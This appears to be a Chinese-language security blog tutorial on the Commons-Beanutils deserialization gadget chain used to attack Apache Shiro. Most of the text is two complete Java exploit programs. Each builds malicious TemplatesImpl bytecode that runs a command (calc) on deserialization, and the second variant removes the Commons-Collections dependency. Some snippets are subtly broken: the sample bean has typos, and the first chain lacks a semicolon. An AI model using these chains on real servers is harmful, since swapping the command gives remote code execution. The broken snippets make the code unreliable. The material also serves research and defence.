0x01 前言
commons-beanutils是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils,我们可以很方便的对bean对象的属性进行操作。Commons-Beanutils利用链也叫CB链,需要注意跟CC链区分。CB链再shiro反序列化中派上大用。Shiro是默认依赖Commons-Beanutils的,那么就可以利用CommonsBeanutils反序列化链进行构造payload。
<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.9.3</version></dependency>
0x02 相关知识
Java Bean
Java Bean是对一种类的称呼,具备以下特征的类即可称为java bean。
- 提供一个默认的无参构造函数。
- 需要被序列化并且实现了 Serializable 接口。
- 可能有一系列可读写属性,并且一般是 private 的。
- 可能有一系列的 getter 或 setter 方法。
Java Bean 的作用也就是把一组数据组合成一个特殊的类便于传输。 Java Bean 可以用在图形界面的可视化设计、JSP 封装数据保存到数据库、Android AIDL 跨进程通信,Spring框架等场景中。
以下代码便是一个Java Bean。
public class Person {privete String name;private int age;public void setName(String newName) {name = newName;}public String getName() {return name;}public void setAge(int neweAge) {age = newAge;}public int getAge() {return age;}}
PropertyUtils.getProperty
CommonsBeanutils中存在一个方法,org.apache.commons.beanutils.PropertyUtils.getProperty,该方法可以实现对Java Bean的getter方法的调用。PropertyUtils.getProperty(new Person(),"name")则会调用它的getName()方法。
Person person = new Person();person.setName("张三");System.out.println(PropertyUtils.getProperty(person,"name"));// output:张三
BeanComparator
org.apache.commons.beanutils.BeanComparator实现了 Comparator 接口,可以用来比较两个Bean的属性等内容。其中compare方法调用了PropertyUtils.getProperty方法。在初始化BeanComparator对象时如果没有传入comparator则会默认使用ComparableComparator类,而该类是属于commons-collections依赖的,在Shiro中默认包含一部分commons-collections的类,但是不完全,比如就没有包含ComparableComparator类。
TemplatesImpl
经过对CC链的分析,对于TemplatesImpl类已经很熟悉了,在很多链中TemplatesImpl类加载恶意字节码作为sink实现最终恶意代码执行。在CC链中TemplatesImpl作为sink都需要调用newTransformer方法,而在TemplatesImpl类中存在一个getter方法会间接调用newTransformer方法。
0x03 利用链1
在既存在cc和cb依赖的情况下,利用链如下:
import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.PriorityQueue;public class CB {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool= ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段field.setAccessible(true)field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段field1.setAccessible(true);field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为testBeanComparator beanComparator = new BeanComparator();beanComparator.setProperty("outputProperties");PriorityQueue priorityQueue = new PriorityQueue(2);priorityQueue.add(1);priorityQueue.add(2);Field field2 = priorityQueue.getClass().getDeclaredField("queue");field2.setAccessible(true);field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});Field field3 = priorityQueue.getClass().getDeclaredField("comparator");field3.setAccessible(true);field3.set(priorityQueue,beanComparator);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));objectOutputStream.writeObject(priorityQueue);ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));objectInputStream.readObject();}}
整体代码跟CC链差不多,主要是设置BeanComparator的property属性。
0x04 利用链2
Commons-beanutils.BeanComparator 的构造方法,其实只有默认不传入 Comparator 的情况下才会去使用Commons-collections的ComparableComparator,所以我们需要传入一个原生的Comparator 即可摆脱对Commons-Collections 的依赖,同时,因为这个漏洞是应用于反序列化场景,所以要求这个类还必须继承 Serializable 接口,该静态对象java.lang.String.CASE_INSENSITIVE_ORDER满足条件。这也是实际上进行shiro反序列化时常用的链。
利用链如下:
import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.PriorityQueue;public class CB {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException {String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool= ClassPool.getDefault();//返回默认的类池classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("CommonsBeanutils");//创建一个新的public类payload.setSuperclass(classPool.get(AbstractTranslet));payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段field.setAccessible(true);field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段field1.setAccessible(true);field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为testBeanComparator beanComparator = new BeanComparator();beanComparator.setProperty("outputProperties");PriorityQueue priorityQueue = new PriorityQueue(2);priorityQueue.add(1);priorityQueue.add(2);Field field2 = priorityQueue.getClass().getDeclaredField("queue");field2.setAccessible(true);field2.set(priorityQueue,new Object[]{templatesImpl,templatesImpl});Field field3 = priorityQueue.getClass().getDeclaredField("comparator");field3.setAccessible(true);field3.set(priorityQueue,beanComparator);Field field4 = beanComparator.getClass().getDeclaredField("comparator");field4.setAccessible(true);field4.set(beanComparator,String.CASE_INSENSITIVE_ORDER);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));objectOutputStream.writeObject(priorityQueue);ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));objectInputStream.readObject();}}
跟利用链1唯一的差别就是反射更改了beanComparator的comparator属性为String.CASE_INSENSITIVE_ORDER。
PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()BeanComparator.compare()PropertyUtils.getProperty()TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TransletClassLoader.defineClass()newInstance()Runtime.getRuntime().exec("calc.exe")
0x05 总结
CB链主要应用场景在shiro反序列化中,sink是TemplatesImpl,source是priorityQueue#readObject。中继使用BeanComparator类。
